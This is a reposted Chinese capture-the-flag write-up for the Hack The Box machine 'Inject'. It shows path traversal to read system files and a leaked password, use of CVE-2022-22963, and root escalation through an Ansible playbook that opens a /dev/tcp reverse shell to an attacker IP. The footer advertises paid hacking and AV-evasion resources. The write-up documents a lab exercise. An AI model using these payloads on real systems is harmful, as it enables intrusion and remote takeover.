【干货】HTB 季度靶机
2023-3-16 10:54:30 Author: 渗透安全团队(查看原文) 阅读量:42 收藏

HTB 季度靶机 - Inject (Easy, not so easy)

朋友们看看知识点就好,ansible playbook 第一次见,天生带个 PE 后门哦~

0x00

端口

             

难道说。。。

文件上传点 - AFR+目录遍历

上传完成后会返回访问地址,居然是参数化的:

最短的目录穿越是 ../../../../../../etc/passwd,六层。

/etc/passwd

root:x:0:0:root:/root:/bin/bash                
               
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin                
               
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin                
               
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false                
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin                
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin                
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin                
pollinate:x:110:1::/var/cache/pollinate:/bin/false                
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin                
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin                
               
frank:x:1000:1000:frank:/home/frank:/bin/bash                
               
phil:x:1001:1001::/home/phil:/bin/bash                
               
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin

frank 和 phil 用户比较可疑。

经过尝试,网站的权限应该就是 www-data,无法访问两个用户家目录的文件。

信息收集

sshd 配置

phil 用户不允许 ssh 登录

/proc/self

cwd

exe - java 应用,那估计是 tomcat

root - 发现目录遍历

到这里我才发现有目录遍历。。。

应用本身就有目录遍历的功能?

没有直接读取的权限。

/home/frank/.m2/settings.xml - phil 的密码

Maven 配置文件 参考文档1

             
                             
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">                
                                 
                                   
                     Inject                
                     phil                
                     DocPhillovestoInject123                
                     ${user.home}/.ssh/id_dsa                
                     660                
                     660                
                                     
                   
                 

遍历 Java 应用开发目录

/var/www - 源码目录

build 出来的 jar 包比较大,先不下载,目录遍历去找代码(应该不会很多)。

User.java

UserController.java

看来是要利用上传点来覆盖配置文件,那么第一想法就是给 frank 写公钥,但是有一些校验绕不过去(比如那个斜杠检查)。

pom.xml - 查看 Maven 依赖及其版本 - 找 CVE

               
                                 
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">                  
                     4.0.0                  
                                       
                         org.springframework.boot                  
                         spring-boot-starter-parent                  
                         2.6.5                  
                                           
                     
                     com.example                  
                     WebApp                  
                     0.0.1-SNAPSHOT                  
                     WebApp                  
                     Demo project for Spring Boot                  
                                       
                         11                  
                     
                                       
                                           
                             com.sun.activation                  
                             javax.activation                  
                             1.2.0                  
                         
                 
                                           
                             org.springframework.boot                  
                             spring-boot-starter-thymeleaf                  
                         
                                           
                             org.springframework.boot                  
                             spring-boot-starter-web                  
                         
                 
                                           
                             org.springframework.boot                  
                             spring-boot-devtools                  
                             runtime                  
                             true                  
                         
                 
                                           
                             org.springframework.cloud                  
                             spring-cloud-function-web                  
                             3.2.2                  
                         
                                           
                             org.springframework.boot                  
                             spring-boot-starter-test                  
                             test                  
                         
                                           
                             org.webjars                  
                             bootstrap                  
                             5.1.3                  
                         
                                           
                             org.webjars                  
                             webjars-locator-core                  
                         
                 
                     
                                       
                                           
                                               
                                 org.springframework.boot                  
                                 spring-boot-maven-plugin                  
                                 ${parent.version}                  
                             
                         
                         spring-webapp                  
                     
                 

CVE-2022-22963 - spring cloud function rce

命令执行稍有困难

先上传脚本:

然后执行脚本:

登录 phil - user-flag

su

su 切换用户后,应该是终端分配的问题,终端的输出并没有显示出来。但是盲着执行命令,把 flag 写入文件是可以的。

998685ee5024787560ceeea8535e5618

同样的方式再执行一次 反弹 shell,弹到一个新端口:

提权: phil -> root

前面得到过 phil 的密码:DocPhillovestoInject123

export TERM=xterm

这个命令指示用来让反弹 shell 支持颜色显示(ANSI 转移序列),当然,也要注意本机终端是否支持(ansicon powershell)。

/usr/bin/script -qc /bin/bash /dev/null                
export TERM=xterm

id 命令 - 注意用户所属组

phil 用户有一个额外的用户组:

查找属于 staff 用户组的文件,发现 /opt/automation/tasks,因为目录名存在“自动化”字眼:

find / -group staff 2>/dev/null

结果:

/opt/automation/tasks                
/root                
/var/local                
/usr/local/lib/python3.8                
/usr/local/lib/python3.8/dist-packages                
/usr/local/lib/python3.8/dist-packages/ansible_parallel.py                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/LICENSE                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/RECORD                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/entry_points.txt                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/WHEEL                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/METADATA                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/top_level.txt                
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/INSTALLER                
/usr/local/lib/python3.8/dist-packages/__pycache__                
/usr/local/lib/python3.8/dist-packages/__pycache__/ansible_parallel.cpython-38.pyc                
/usr/local/share/fonts                
/usr/local/share/fonts/.uuid

flag

该目录下存在一个 yaml 文件:

经搜索得知这是 ansible playbook,一种自动化任务,所以自行编写一个反弹 shell 的 playbook 并执行它:

---                
- name: Update web servers                
  hosts: localhost                
  remote_user: root                
                 
  tasks:                
  - name: aha                
    shell: bash -c 'exec bash -i &>/dev/tcp/10.10.14.16/8002 <&1'

ansible-playbook xxx.yml

phil 用户执行上述命令可以直接拿到 root 的 shell。

TODO为什么直接拿到 root 权限呢?

对该问题可以参考一些资料(我找了没看,麻烦看懂的人给我讲讲 xD):

https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html

如果你也想玩 HTB,那请加入我们吧,我们针对季度靶机有个小交流群。

1.文档

 https://maven.apache.org/settings.html


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦


文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247500833&idx=3&sn=e83962ef747ae8462f3900ddee6c209b&chksm=c176398ef601b098cc7578ff53364bc18207c2f92e21727f8ea3f90cb754b30dc3ea3fc0a1b1#rd
如有侵权请联系:admin#unsafe.sh